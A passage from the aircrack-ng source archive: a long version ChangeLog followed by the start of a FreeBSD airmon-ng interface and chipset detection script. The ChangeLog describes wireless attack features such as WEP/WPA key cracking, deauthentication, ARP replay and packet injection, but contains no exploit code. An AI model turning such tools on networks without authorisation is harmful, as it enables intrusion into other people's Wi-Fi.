and mac80211 drivers. * airmon-ng: Fixed display of "airmon-ng check". * airmon-ng: Improved mac80211 driver handling. * airdriver-ng: Fixed madwifi-ng driver download URL. * airdriver-ng: Updated openSuse information. * wesside-ng: Fixed open() with O_CREAT that needs 3 arguments. * osdep: Added TAP/TUN MTU getter. * manpages: Fixed misspelled airserv-ng manpage filename. * manpages: Added Airbase-ng, Tkiptun-ng manpages. * manpages: Updated description of all manpages. * Makefile: Fixed errors when compiling on OSX 10.5. * Makefile: Now ensure that make 3.81 or higher (mandatory) is used when compiling on OSX 10.4. * Makefile: Only install airolib-ng manpage if airolib-ng is installed. * Makefile: Added 'make check' that tests key cracking against files given in test/ directory. * general: Fixed 'evalrev' on Solaris. * general: Fixed compilation on Sun SPARC. * general: Fixed compilation on some distribution (with a recent version of gcc) due to warnings (because of not getting the return value of some functions). * general: Several compilation fixes. * patches: Updated ath5k patches * patches: Added rt2570 patch (kernel 2.6.24). * patches: Updated madwifi-ng patch for r3745. * patches: Updated mac80211 patches. * patches: Added zd1211rw patch for 2.6.26, b43/b43legacy for 2.6.26-wl. * patches: rt73, r8187 patches for fedora kernels (should work on 2.6.27). * patches: Added Defcon 16 patch (more frequencies than the usuals) for ath5k called frequency Chaos. * patches: Added injection patch for rtl8187 (mac80211). * patches: Added a universal mac80211 fragmentation and injection speed patch. * GUI (windows): Fixed: Windows GUI gives "please specify dictionnary". Version 1.0-rc1 (changes from aircrack-ng 1.0-beta2) - Released 09 Jun 2008: * airbase-ng: Multi-purpose tool aimed at attacking clients as opposed to the AP. * airbase-ng: Added replay tool for external packet processing feature. * aircrack-ng: Fixed: Displaying twice the wep key at the end and "Warning: Previous crack is still running". * aircrack-ng: Fixed detection of WPA handshake (was not working correctly in previous release). * aircrack-ng: Fixed PTW attack against QoS and WDS packets. * aircrack-ng: Added oneshot option to try PTW only once. * airodump-ng: Fixed channel numbers (Fixed "fixed channel" messages). * airodump-ng: Added frequency selection (-C). * aireplay-ng: Fixed injection on OpenBSD. * aireplay-ng: Fixed a rtc bug which freezed aireplay-ng in case /dev/rtc0 is not available. * aireplay-ng: Fixed chopchop attack against QoS packets. * aireplay-ng: Added Caffe-Latte attack. * aireplay-ng: Added CFrag attack: Turns every IP and ARP packet into an ARP request against the client. * airtun-ng: Added support for fragmented packets. * airdriver-ng: Updated drivers. * airserv-ng: Various fixes. * airmon-ng: Added nl80211 usage. * airmon-ng: Use 'iw' when it is found. * airmon-ng: Fixed error with madwifi-ng when creating new VAP. * wesside-ng: Added option to ignore ACKs. * OSdep: Fixed endieanness bugs. * OSdep: Orinoco: attempt to bring interface down before switching to monitor mode. * All: Added copyright and GPL in missing files. * All: Fixed compilation on Mac OSX 10.5.2 (PPC). * GUI: Fixed "Choose" button (airdecap-ng). * Makefile: Fixed usage of iCC versions other than 9.0. * patches: Updated rtl8187 patch. * patches: Updated madwifi-ng patch. * patches: Updated sqlite patch (cygwin). * patches: Added mac80211 frag patch. * patches: Added b43 and updated bcm43xx patches. Version 1.0-beta2 (changes from aircrack-ng 1.0-beta1) - Released 01 Feb 2008: * aircrack-ng: Cracking WPA now does only require 2 packets (instead of 4). * airodump-ng: Fixed (WEP) open system and shared key system detection. * airodump-ng (win): Battery status is now displayed. * airdriver-ng: Fixed module detection. * airdriver-ng: Updated drivers. * airdriver-ng: Added firmware support. * airdriver-ng: Added softmac installation. * airdecap-ng: Save packets with ICV error in a separate file. * airolib-ng: Automatically create a database if it does not exist. "init" option is not necessary anymore. * airolib-ng: Now uses getopts for options. * airdriver-ng: Updated some drivers download locations. * airdriver-ng: Fixed softmac installation * airmon-ng: Added detection of ipwraw-ng driver. * airmon-ng: When stopping an interface, it is in managed mode * Makefile: supports DESTDIR or destdir parameter. * Makefile: renamed ROOT (used by gentoo for other stuff) variable by AC_ROOT. * manpages: Fixes for whatis * patches: updated cygwin sqlite patch * patches: updated rtl8187 patch * Added instructions to compile airolib-ng and using '-r' option in aircrack-ng for cygwin. * Fixed compilation of aircrack-ng with some gcc versions Version 1.0-beta1 (changes from aircrack-ng 0.9.2) - Released 01 October 2007: * airodump-ng: Added --berlin option (see code for more information). * airodump-ng: Fixed 100% cpu utilization while channelhopping on rtap interface * airodump-ng: Fixed frame length < 10bytes bug * airodump-ng: Added out-of-monitor-mode, channel hop and interface down detection * airodump-ng: Fixed debian bug #417388: airodump-ng doesn't restore terminal after error * airodump-ng: Fixed opening the same interface more than once * airodump-ng: Fixed PWR values for some drivers * airodump-ng: Fixed airodump sanity check (resulted in showing WPA networks without CIPHER & AUTH) * airodump-ng: Added "-f" to set the time in ms between hopping channels * airodump-ng: Added partial 40bit WEP detection * airodump-ng: Added "--showack" to print statistics about ack/cts and rts frames * airodump-ng: Added "-h" to hide the known stations in ack statistics * airodump-ng: Added "-r" to read packets from a pcap file * aircrack-ng: Added BSSID merge option * aircrack-ng: Added passive ptw attack (using also IP packets for cracking) * aircrack-ng: Made ptw attack default, for korek attack use -K * aircrack-ng: Fixed huge memory usage with ptw attack on hundreds of APs * aircrack-ng: Added -M paramteter for specifying maximum number of IVs to be read * aircrack-ng: Changed ptw testpackets from first to random (fixes invalidation of found keys) * aircrack-ng: Added --wep-decloak mode * aircrack-ng: Added --ptw-debug to allow klein or ptw disabling * aircrack-ng: PTW: Starts a new process group * aircrack-ng: Increased PTW key checking speed by 20% * aircrack-ng: Try 1000 40bit keys befor starting 104bit cracking, to get the key "instantly" without waiting for 104 bit to fail * aircrack-ng: Fixed not shown ascii keys, when found key was shorter than expected * aircrack-ng: Added visual inspection of the different keybytes (--visual-inspection). * airdecap-ng: Fixed bug in calc_pmk() function causes wrong PMK to be computed * aireplay-ng: Added usage of RTS/CTS, auth and ACK to --test (more stable and faster) * aireplay-ng: Added TCP connection test to --test * aireplay-ng: Changed injection rate to be more stable * aireplay-ng: Made essid argument optional - sniffs the essid if its broadcasted * aireplay-ng: Made src mac argument (-h) optional - uses default interface mac * aireplay-ng: Added bitrate test to --test (-B) * aireplay-ng: Fixed 100% cpu utilization in --test * aireplay-ng: Added --fast switch to use first available packet without interaction * aireplay-ng: chopchop now tries header recreation workaround if icv check failed * aireplay-ng: Fixed seq field for fragment attack * aireplay-ng: Now works with rtc_cmos * aireplay-ng: Added automatic channel changing in --test to AP channel * aireplay-ng: Added channel synchonisation for --test between cards * aireplay-ng: Added possibility to limit injection test to one AP "-a" or "-e" * aireplay-ng: Added BSSID/ESSID detection, so it can be enough to specify one option * makeivs-ng: Added parameters to set length, number and first IV of generated IVs * makeivs-ng: Added possibility to generate IVs sequentially or randomly * makeivs-ng: Added parameters to set percentage of false and dupe frames * makeivs-ng: Added 256bit wep support * packetforge-ng: Added support for generating more than on packet * patches: updated rtl8187 patch for 2.6.22 * patches: updated zd1211rw patch for 2.6.22 * New IVS format for storing all relevant data * Auto-creation of rtap interface if it doesn't exist (ipw2200) * Better acx, rtl8180, orinoco and madwifi-ng detection * Using OpenSSL instead of build-in crypto * Added library rx/tx support * Added airpcap rx/tx support * Added airdriver-ng script for installing and managing patched drivers * Added wesside-ng as an all in one tool for recovering the wep-key * Added easside-ng for realtime decryption (instant rx/tx) of wep frames * Added buddy-ng as loopback server for easside-ng * Added airserv-ng - server for rx/tx on another system * Added airolib-ng for using hash tables to crack wpa/wpa2 psk (supports cowpatty rainbow tables) * Fixed compilation of optimized binaries with icc * Fixed compilation on FreeBSD, NetBSD, OpenBSD and MacOSX * Better WDS handling and display * Added detection and removal of trailing fcs checksum * Fixed several memory leaks * Fixed being root when connecting to airserv-ng * Added OpenBSD sniffing support Version 0.9.3 (changes from aircrack-ng 0.9.2) - Released 24 February 2008: * Fix endianness issues in airodump-ng, aireplay-ng. * Several small bug fixes. * Updated rtl8187 patch. Version 0.9.2 (changes from aircrack-ng 0.9.1) - Released 05 February 2008: * aireplay-ng: Now works with rtc_cmos * aireplay-ng: Fixed compilation on Fedora Rawhide * airodump-ng: Fixed: Wrong information printed in CSV file (PSK for WEP with Shared key instead of SKA). * airodump-ng (airpcap): added support for 5Ghz channels. * airdecap-ng: Fixed bug in calc_pmk() function causes wrong PMK to be computed * airmon-ng: Fixed detection of N770 wireless interface * airmon-ng: Fixed Ralink rt73 detection * airmon-ng: Added driver detection through sysfs * airmon-ng: Added mac80211 support * airmon-ng: Added networkmanager detection - airmon-ng check * airmon-ng: Added detection of ipwraw-ng driver * GUI (win): Fixed file dialog for airdecap-ng * manpages: updated airodump-ng manpage * manpages: Fixes for whatis * Makefiles: Fixed OpenBSD makefile. Version 0.9.1 (changes from aircrack-ng 0.9) - Released 25 June 2007: * airodump-ng: wlan-ng driver now works again. * airodump-ng: Fixed IP address when writing to CSV file * airodump-ng: Fixed debian bug #417388: it doesn't restore terminal after error * aircrack-ng: Fixed WPA cracking on SMP computers * aircrack-ng: Fixed bug in calc_pmk() function causes wrong PMK to be computed * airmon-ng: Fixed madwifi-ng wifiX detection (due to translation in ifconfig) * patches: Added ACX injection patch * patches: Updated rtl8187 patch for 2.6.21 * GUI (win): Added PTW option to aircrack-ng tab. * GUI (win): Fixed a bug when cracking with a wordlist. Version 0.9 (changes from aircrack-ng 0.8) - Released 13 May 2007: * aireplay-ng: Added new 'attack': injection test (--test) * aireplay-ng: disallow injection with wlanng & kernel > 2.6.11 * airtun-ng: Fixed: an option wasn't shown in usage screen. * airodump-ng (win): Fixed version numbering. * airodump-ng (win): Changed first time messagebox * aircrack-ng: Fixed: --help make aircrack-ng crash * aircrack-ng: Added PTW attack (option: -z). It require full capture. * airdecap-ng: now decrypt IEEE802.11 header with 802.11e header * airmon-ng: Fixed orinoco card detection * patches: updated zd1211rw patch for kernel 2.6.21 * patches: Added bcm43xx injection patch for kernel 2.6.20 * patches: updated rtl8187 patch (for new driver version). * wzcook (win): now can work in silent mode (option: --silent) * Makefile: added make zip (cygwin only) * Makefile: fixed direct call to 'make install' or 'make strip' instead of 'make' * GUI (win): Updated aircrack-ng tab and added an about tab. Version 0.8 (changes from aircrack-ng 0.7) - Released 25 April 2007: * aireplay-ng: Works on FreeBSD-CURRENT * aircrack-ng: Fixed stdin dictionary usage * aircrack-ng: Hardcode CPUs number to 1 in case detection fails * aircrack-ng: Fixed too low trashvalue * aireplay-ng: Fixed 384 bytes keystream output * aireplay-ng: Fixed IV index bug * aireplay-ng: Better error messages for -0 and -1 * airtun-ng: Works on FreeBSD * airtun-ng: Fix compilation under FC6 (missing "linux/if.h" include). * airodump-ng: Works on FreeBSD. * airodump-ng: Added encryption filtering * airodump-ng: Fixed a SIGSEGV * airodump-ng: Added WPA handshake detection * airodump-ng: Added non associated stations filter * airodump-ng: Added support for zd1211rw * airodump-ng: Fixed 100% cpu utilisation * airmon-ng: Added support for zd1211rw driver * airmon-ng: Added support for at76c503a, rt61 and rt73 * airmon-ng: Updated some device detection * airmon-ng: Added Nokia 770 and PrismGT softmac * airmon-ng: Fixed ACX driver monitor mode startup * airmon-ng: Fixed syntax error * airtun-ng: Works on FreeBSD * airtun-ng: Added pcap support to replay saved wlan sessions * airtun-ng: Added repeater mode, bssid and netmask filter * packetforge-ng: Added null packet support * packetforge-ng: Added packet selection for -9 * Patches: Added hostap kernel 2.6.18 patch * Patches: Updated rtl8187 patch. * Patches: Updated madwifi-ng patch. * Patches: Added injection patch for zd1211 (does not work for all devices). * Added airoscript (from daouid) * Makefiles: Fixed: make uninstall did not remove all files * Updated spec file by David Bolt to be able to build RPM packages on FC, Mandriva and Suse distro * Added WEP authentication example capture * Fixed gcc 2.95 compilation * Fixed compilation on MacIntel Version 0.7 (changes from aircrack-ng 0.6.2) - Released 20 January 2007: * Makefiles: Improved + added makefiles for other OS * Makefiles: Fixed make install on Windows and MacOS * airtun-ng: Creates a tuntap interface, through which ordinary IP frames can be injected * aireplay-ng: Added fragmentation attack * aireplay-ng: Added shared key authentication * airmon-ng: Now detect the shell when installing * airmon-ng: Added support for rtl8187 * aircrack-ng: Added WEP dictionnary attack * aircrack-ng: Works with 802.11e QoS packets * airodump-ng: Added MAC filtering * airodump-ng: Now use the flaw in shared-key authentication to generate a xor file containing the prga recovered from a shared-key authentication * airodump-ng: More information about encryption on the AP * airodump-ng: Receive quality indicator * airodump-ng: The way ESSID is given in the CSV file is more clear * packetforge-ng: Set the TTL value in the ip header * packetforge-ng: Close open file handles * Special handling of spanning tree packets * Added rtl8187 patch for injection * Other bug fixes Version 0.6.2 (changes from aircrack-ng 0.6.1) - Released 1 October 2006: * aireplay-ng: Applied patch to inject packets with an ipw2200 * aircrack-ng: Fixed: show_wpa_stats() 1 byte array overflow * aircrack-ng: Fixed a warning when compiling on 64bit inner_bruteforcer_thread() * aircrack-ng: Changed -d option. It's now a mask (use XX for unknown bytes). * arpforge-ng: removed. It's replaced by packetforge-ng * packetforge-ng: New tool to forge packets (by Martin Beck) + manpage written * aircrack-ng, aireplay-ng, packetforge-ng: new MAC decoding function * airmon-ng: Fixed a bug when using it with madwifi-ng * airmon-ng: Added ipw3945 detection * airodump-ng (windows): now automatically download peek.dll and peek5.sys if needed * airodump-ng: LLC null packets are skipped * makeivs: added manpage * Makefile: Fixed: make aircrack-ng-opt-prof_gen fails * updated madwifi-ng patch Version 0.6.1 (changes from aircrack-ng 0.6) - Released 27 August 2006: * aircrack-ng: Fixed missing '-s' option * aircrack-ng: Fixed: Show a different ASCII key for a same hex key * airodump-ng: Using --band option instead of --bg, --abg, --ab, ... * airodump-ng: Fixed: fails to put wlanng in monitor mode * airodump-ng: using rtap0 as interface should now work * airodump-ng and aireplay-ng: "Can't find wireless tools, exiting." should be fixed if they exist * airodump-ng and airmon-ng: rt2570 now uses prismheader (use at least beta 2 driver) * airmon-ng: Fixed: discards ipw2200 v1.1.x * airmon-ng: Fixed: show newly created madwifi-ng VAP * airmon-ng: Should now works with 'ash' shell (Zaurus, OpenWRT, ...) * INSTALL: Added a note about warnings when compiling sources * INSTALL: Added more informations about installing aircrack-ng on windows * updated spec file * some other bugfixes * cygwin1.dll and msvcr70.dll are now included in windows package Version 0.6 (changes from aircrack-ng 0.5) - Released 23 June 2006: * aircrack-ng: Multithreaded keybytes bruteforcer * aircrack-ng: Now bruteforce only last keybyte by default (faster than last 2KB) * aircrack-ng: Added option to show ASCII version of the key * aircrack-ng: Fixed: bug with -d option. It adds a leading "0x00" to the key * aireplay-ng: fixed compilaton issues on some distro * aireplay-ng: fixed a bug when using 'ash' * aireplay-ng: You can change ring buffer size (-g option) * airodump-ng: Log by default only one beacon (added option to log all beacons) * airodump-ng: Dump prefix isn't mandatory anymore, not giving it won't store any data * airmon-ng: Ralink devices needs be put in ad-hoc prior to inject packets * manpages: Added kstat manpage * manpages: fixed airodump-ng manpage (hyphen used as minus sign) * Makefile: You can now compile aircrack-ng with Intel C Compiler (really faster) * Updated madwifi-ng patch to r1545 (and up; can be applied on madwifi v0.9.0 and v0.9.1) * Added instructions to compile on different plateforms/OS * Added a WPA2 capture file in test directory * Some other fixes Version 0.5 (changes from aircrack-ng 0.4.4) - Released 04 May 2006: * airodump-ng: Hop on 2.4Ghz channels by default * airodump-ng: Added support for OpenWrt devices (use prism0 as capture interface) * aircrack-ng and aireplay-ng: korek chopchop optimisation (Thanks to ASPj) * airodump-ng: Fixed: when starting, it captured data on channel 10 * aircrack-ng: Fixed: Not using all CPU on SMP systems Version 0.4.4 (changes from aircrack-ng 0.4.3) - Released 24 april 2006: * aircrack-ng: fixed a stupid bug that prevent cracking * sha1-mmx.S: GNU_STACK ELF marking * updated patch for madwifi-ng r1526 and upper Version 0.4.3 (changes from aircrack-ng 0.4.2) - Released 24 april 2006: * airmon-ng: fixed madwifi-ng (VAP creation-destruction and a cosmetic fix) * aircrack-ng: fixed compilation under OSX * airodump-ng: added elapsed time * Makefile : added a MacOSX makefile (Makefile.osx) * updated patch for madwifi-ng r1520 and upper Version 0.4.2 (changes from aircrack-ng 0.4.1) - Released 20 april 2006: * airodump-ng: Fixed: dumpfile prefix took the name of the second argument * airodump-ng: Fixed: .gps file creation if GPSd isn't used * version.c removed (the content was moved to common.c) Version 0.4.1 (changes from aircrack-ng 0.4) - Released 19 april 2006: * airodump-ng: use of parameters like aircrack-ng, aireplay-ng, ... * airodump-ng: more sanity checks * airodump-ng & aireplay-ng: forbid the use of ndiswrapper * airodump-ng & aireplay-ng: check of iwpriv existence * manpages: updated and fixed typos * Makefile: fixed "make doc" * airmon-ng: fixed and improved madwifi detection Version 0.4 (changes from aircrack-ng 0.3) - Released 16 april 2006: * Typos fixed and cosmetic changes in sources and in manpages * manpages: updated airodump-ng screenshot * manpages and aireplay-ng: renamed attack names * airodump-ng: fixed some compile warnings * airodump-ng: hopping also on .11a channels if available * airodump-ng: fixed: GPS coordinates were never shown * airmon-ng: fixed ipw2100 (Thx to OverThere) and madwifi-ng detection * aircrack-ng: speed optimizations * aircrack-ng: -x option disable last 2 keybytes bruteforce (WEP cracking is faster) * aircrack-ng: with -a option, you can use "wep" or "wpa" instead of numbers * ivstools: --merge option fixed * Makefiles: improvements * Lots of little changes * added aircrack-ng.spec for building RPM * added slack-desc for building slackware packages Version 0.3 (changes from aircrack-ng 0.2.1) - Released 30 march 2006: * aireplay-ng: typo fixed * aireplay-ng: Madwifi-ng is now supported * airodump-ng: disabled GPS coordinates if connection to gpsd fail * airodump-ng: Battery informations fixed (hacked kismet code) * airodump-ng: Madwifi-ng is now supported * aircrack-ng: corrrected title (when cracking a key) * aircrack-ng: uses by default all CPU for cracking (Debian bug report #352877) * manpages: Fixed some errors (Debian bug report #356551) * manpages: created ivstools manpage * Makefiles: cleaning and improvement * fixed pcap2ivs bug (it wasn't using the good MAC for bssid) * Merged mergeivs and pcap2ivs into ivstools * airmon.sh: Fixed (hopefully) detection of ipw2100 and ipw2200 (Debian bug report #340057) * airmon.sh: renamed to airmon-ng * Updated madwifi-ng patch to r1486 Version 0.2.1 (changes from aircrack-ng 0.2) - Released 20 march 2006: * corrected 2 bugs in airmon.sh and changed another little thing * one word missing for option -j in aireplay * updated madwifi-old patch to SVN r1475 * makefile cleaning * typo corrected in pcap2ivs Version 0.2 (changes from aircrack-ng 0.1) - Released 19 march 2006: * updated version number and program name * updated airmon.sh added detection of acx, madwifi-ng and bcm43xx * added manpages (Thanks to Adam Cecile) * added madwifi-ng patches * re-added missing drivers patches * added uninstall rule in makefile * added Sharp Zaurus binaries (Thanks to Rick Farina aka Zero_Chaos) * added a cygwin makefile Version 0.1 (changes from aircrack 2.41) * updated windows binaries * compiled some files for windows * Separated in multiple packages ---------------------------------------------------------------------------------------------- Older Changelog: Version 2.41 released on 2005-11-22. Changes from version 2.4: * airodump: show probing clients as "not associated" * airodump: don't substract the noise level unless madwifi * airodump: fixed channel hopping with old orinoco * airmon.sh: added detection of the zd1211 driver Version 2.4 released on 2005-11-12. Changes from version 2.3: * airodump: display ESSIDs from Probe Requests * airodump: don't overwrite existing capture files * airodump: create a logfile of the gps coordinates * airodump: every 20s, sort the detected APs by power * airodump: display the remaining battery capacity * airodump: use ioctl() instead of calling iwconfig * airodump: added support for radiotap headers * aireplay: added option -j (FromDS packet injection) * aireplay: added prismheader support for rt2500 / rt2570 * aireplay: fixed attack -0 when injecting on ralink usb * aireplay: fixed attack -3 (ring buffer / deauth problem) * aircrack: don't bruteforce the last 2 keybytes by default * aircrack: changed the fudge factor type to float * aircrack: added option -t (restrict keyspace to BCD) * aircrack: fixed the check_wep_key false positive bug * aircrack: fixed overflow of the number of tested keys * aircrack: lower number of required IVs if -d is used * mergeivs and pcap2ivs: initial release Version 2.3 released on 2005-08-28. Changes from version 2.23: * aireplay: added patch for injection on Ralink USB * aireplay: improved deauthentication attack (-c flag) * aireplay: don't enable the prism header on athXraw * airodump: fixed rare hanging problem in dump_write_csv * airodump: workaround for ipw2200 wep data corruption bug * airodump: tweaked dump_print to make more space for ESSID * aircrack: added support for 152-bit WEP cracking * updated the documentation and merged versioning patch Version 2.23 released on 2005-08-17. Changes from version 2.22: * aireplay: updated the madwifi patch, fixes WEP/WPA support * airodump: fixed a few buffer overflows, code cleanup for gcc4 * aircrack: also printf the WEP key if >= 75% ASCII caracters Version 2.22 released on 2005-08-14. Changes from version 2.21: * aireplay: now compatible with madwifi CVS 2005-08-14 * airodump: fixed the output power with newer madwifi Version 2.21 released on 2005-08-09. Changes from version 2.2: * airodump: forcefully exit when user presses Ctrl-C * airodump: bugfixed (yet again) ESSID uncloacking * airodump: re-create the ivs file if no header present * aircrack: changed the default fudge factor back to 2 * airdecap: fixed the incorrect output pcap header length Version 2.2 released on 2005-08-03. Changes from version 2.2-beta12: * aireplay: (attack 1) added G rates in the association request * fixed the Makefile for compilation on FreeBSD / Mac OS X Version 2.2-beta12 released on 2005-07-30. Changes from version 2.2-beta11: * aireplay: bugfixed the madwifi patch, switched to 20050707 * aireplay: avoid triggering "protocol XX00 is buggy" messages * airodump: don't reset the card when hopping between channels * airodump: ipw2200 didn't like calling "iwpriv ethX monitor 1" * airodump: added support for airodump on WRT54G / OpenWRT * airodump: commit the .txt statistics file every 20 seconds * aircrack: increased the default fudge factor (3 for WEP-104) Version 2.2-beta11 released on 2005-07-27. Changes from version 2.2-beta10: * aireplay: updated the madwifi patch to inject in b/g mode * aireplay: fixed attack 2 (it wrongly swapped the smac & dmac) * aircrack: (cygwin) added O_BINARY flag to force binary mode Version 2.2-beta10 released on 2005-07-23. Changes from version 2.2-beta9: * aireplay: fixed the status line not showing in attack -3 * aireplay: updated the madwifi and hostap injection patches * aireplay: added patches for injection on rt2500 and rtl8180 * aircrack: added detection of 802.1d in check_wep_key * airodump: restore prismheader link level info w/ hostap * airodump: create the output file if there's no pcap header * airdecap: added flag -l to disable ethernet conversion * updated the win32 port and rewrote the documentation Version 2.2-beta9 released on 2005-07-21. Changes from version 2.2-beta8: * aireplay: fixed the invalid rtc file descriptor bug * aircrack: actually fixed the prism header endianness bug Version 2.2-beta8 released on 2005-07-21. Changes from version 2.2-beta7: * aireplay: specify the deauth count instead of delay * aircrack: fixed an endianness issue with the prism header * aircrack: added the experimental single bruteforce attack * airodump: do enable the prismheader with wlan-ng * airodump: WEP/WPA: show the number of data packets * airodump: show total number of captured beacon packets * airodump: orinoco: fixed "iwpriv ethX monitor 1" command * airdecap: fixed an endianness issue with the packet length * airdecap: skip already processed duplicate packets Version 2.2-beta7 released on 2005-07-14. Changes from version 2.2-beta6: * airodump: don't enable the prismheader with wlan-ng * aircrack: fixed check_wepkey() to avoid false positives * completed the preliminary win32 port Version 2.2-beta6 released on 2005-07-12. Changes from version 2.2-beta5: * aireplay: fixed injection of fromds packets on Prism2 * aireplay: attack 0: target access point must be specified * aireplay: attack 1: allow the user to change reauth delay * aircrack: fixed race condition when realloc() ap->ivbuf * airodump: fixed endianness issue when parsing prism header Version 2.2-beta5 released on 2005-07-10. Changes from version 2.2-beta4: * aireplay: added patch for single-nic injection on hostap * aireplay: fixed chopchop attack in non-authenticated mode * aireplay: don't flood the AP with authentication requests * aircrack: bruteforce the last two keybytes by default * aircrack: improved handling of partial WPA handshakes * aircrack, airdecap: added WPA2 (RSN / 802.11i) support Version 2.2-beta4 released on 2005-07-03. Changes from version 2.2-beta3: * aircrack: new option to restrict WEP search space to ascii * aircrack: fixed concurrency bug with multiple .cap files * aircrack: fixed incorrect detection of WPA CCMP handshakes * aircrack: fixed incorrect handling of HMAC-SHA1 WPA MIC * aireplay: fixed deauth problem when chopchoping a packet * aireplay: added a workaround for error "Write buffer full" * airodump: added support for prism header on prism54 * airodump: save the list of detected wireless clients * airunwep: renamed to airdecap, added WPA decryption support Version 2.2-beta3 released on 2005-06-28. Changes from version 2.2-beta2: * aircrack: fixed the tracking of new IVs * aireplay: fixed the CPU usage bug in attack 3 * when reading pcap files, check the packet length Version 2.2-beta2 released on 2005-06-27. Changes from version 2.2-beta1: * aireplay: added fully automated ARP replay attack * aireplay: added automated deauthentication attack * aireplay: added fake authentication in Monitor mode * aircrack: various pthread enhancements & bugfixes Version 2.2-beta1 released on 2005-06-22. Changes from version 2.1: * aircrack: now auto-updates if new IVs are available * aircrack: fixed #285441 (struct pcap_pkthdr on AMD64) * aircrack: fixed the pcap endianness problem * aircrack: added essid filtering option and quiet mode * aircrack: only print status info every 1/20th second * aircrack: added WPA-PSK cracking support from cowpatty * aircrack: added EAPOL frame type detection and display * aircrack: each korek attack can be disabled selectively * airodump: added 802.11 b/g (2.4 GHz) channel hopping * airodump: added a file format for logging only the IVs * airodump: CRC is properly removed if driver is madwifi * airodump: input packets can be read from a pcap file * airodump: bugfixed WPA detection and ESSID uncloaking * airodump: also display a list of detected stations * aireplay: implemented chopchop and arp-forgery * aireplay: added patches for single-nic injection * 802ether: bugfixed and renamed to airunwep Version 2.1 released on 2004-10-01. Changes from version 2.0.2: * added 11g and WPA detection support in airodump * aircrack automatically avoids using WPA IVs * aircrack can break 256-bit and 512-bit WEP keys * win32 - fixed yet again the "missed IVs" bug * win32 - ported the 802ether WEP decryptor program Version 2.0.2 released on 2004-09-24. Changes from version 2.0.1: * win32 - added the WZCOOK key recovery program * fixed a bug in the BSSID iteration code in airodump * completely rewrote the documentation, moved to /docs Version 2.0.1 released on 2004-09-21. Changes from version 2.0: * win32 - fixed the channel reset bug * win32 - fixed the "missed IVs" bug * win32 - rewrote drivers.txt Version 2.0 released on 2004-09-03. Changes from version 1.4: * native win32 port of airodump and aircrack * aireplay better spots potential arp-requests Version 1.4 released on 2004-08-26. Changes from version 1.3: * fixed check_wepkey, works with exotic LLC headers * airodump prints lots of information, Kismet-style Version 1.3 released on 2004-08-19. Changes from version 1.2: * bugfixed and improved KoreK's code * renamed airunwep to 802ether Version 1.2 released on 2004-08-17. Changes from version 1.1: * implemented KoreK's advanced WEP attacks * completely rewrote the SMP engine Version 1.1 released on 2004-08-11. Changes from version 1.0: * implemented WEP arp-requests replay attack * improved the fudge calculation algorithm * added multi-processor support Version 1.0 released on 2004-07-29 aircrack-ng-1.2-rc4/scripts/0000755000000000000000000000000012660222376014416 5ustar rootrootaircrack-ng-1.2-rc4/scripts/airmon-ng.freebsd0000644000000000000000000001056612632710313017641 0ustar rootroot#!/bin/sh if [ -n "$1" ] && [ -z "$2" ]; then echo "Invalid command. Valid commands: [start|stop] INTERFACE." exit 1 fi if [ -n "$1" ]; then if [ "$1" != 'stop' ] && [ "$1" != 'start' ]; then echo "Invalid command. Valid commands: [start|stop] INTERFACE." exit 1 fi fi if [ -n "$2" ]; then ifconfig $2 >/dev/null 2>/dev/null if [ $? -ne 0 ]; then echo "Error: Interface $2 does not exist." exit 1 fi fi COMMAND=$1 INTERFACE_TO_USE=$2 CHIPSET="" DRIVER="" PARENT="" get_interface_info() { [ -z "$1" ] && return if [ -n "$(echo $1 | grep -E '^(ath|otus|urtwn)[0-9]+$' )" ]; then DRIVER="$(echo $1 | sed 's/[0-9]*//g')" elif [ -n "$(echo $1 | grep -E ^wlan[0-9]+$)" ]; then # It most likely is a monitor interface. IFACE_IDX=$(echo $1 | sed 's/[^0-9]*//g') PARENT=$(sysctl net.wlan.${IFACE_IDX}.%parent | awk '{print $2}') if [ -n "${PARENT}" ]; then get_interface_info ${PARENT} return fi fi if [ "${DRIVER}" = "ath" ]; then CHIPSET=$(dmesg | grep -E "^$1: <" | tail -n 1 | awk -F\< '{print $2}' | awk -F\> '{print $1}' ) elif [ "${DRIVER}" = "urtwn" ]; then USB_INFO=$(dmesg | grep -E "^$1: <" | tail -n 1 | tr ',' '\n' | tail -n 1 | tr '>' ' ') USB_ADDR=$(echo ${USB_INFO} | awk '{print $2}') USB_BUS=$(echo ${USB_INFO} | awk '{print $4}' | sed 's/[^0-9]*//g') VENDOR_ID=$(usbconfig -u ${USB_BUS} -a ${USB_ADDR} dump_device_desc | grep idVendor | awk '{print $3}') PRODUCT_ID=$(usbconfig -u ${USB_BUS} -a ${USB_ADDR} dump_device_desc | grep idProduct | awk '{print $3}') if [ "${VENDOR_ID}" = "0x0bda" ]; then [ "${PRODUCT_ID}" = "0x8171" ] && CHIPSET="RTL8188SU" [ "${PRODUCT_ID}" = "0x8172" ] && CHIPSET="RTL8191SU" [ "${PRODUCT_ID}" = "0x8174" ] && CHIPSET="RTL8192SU" [ "${PRODUCT_ID}" = "0x8176" ] && CHIPSET="RTL8188CUS" [ "${PRODUCT_ID}" = "0x8178" ] && CHIPSET="RTL8192CU" [ "${PRODUCT_ID}" = "0x8179" ] && CHIPSET="RTL8188EUS" [ "${PRODUCT_ID}" = "0x817f" ] && CHIPSET="RTL8188RU" [ "${PRODUCT_ID}" = "0x8192" ] && CHIPSET="RTL8191SU" [ "${PRODUCT_ID}" = "0x8193" ] && CHIPSET="RTL8192DU" [ "${PRODUCT_ID}" = "0x8199" ] && CHIPSET="RTL8187SU" [ "${PRODUCT_ID}" = "0x8812" ] && CHIPSET="RTL8812AU" elif [ "${VENDOR_ID}" = "0x06f8" ] && [ "${PRODUCT_ID}" = "0xe033" ]; then CHIPSET="RTL8188CUS" elif [ "${VENDOR_ID}" = "0x2001" ] && [ "${PRODUCT_ID}" = "0x3308" ]; then CHIPSET="RTL8188CUS" elif [ "${VENDOR_ID}" = "0x20f4" ] && [ "${PRODUCT_ID}" = "0x648b" ]; then CHIPSET="RTL8188CUS" elif [ "${VENDOR_ID}" = "0x7392" ] && [ "${PRODUCT_ID}" = "0x7811" ]; then CHIPSET="RTL8188CUS" elif [ "${VENDOR_ID}" = "0x2019" ]; then [ "${PRODUCT_ID}" = "0xab2a" ] && CHIPSET="RTL8188CUS" [ "${PRODUCT_ID}" = "0xed17" ] && CHIPSET="RTL8188CUS" elif [ "${VENDOR_ID}" = "0x050d" ]; then [ "${PRODUCT_ID}" = "0x1102" ] && CHIPSET="RTL8188CUS" [ "${PRODUCT_ID}" = "0x11f2" ] && 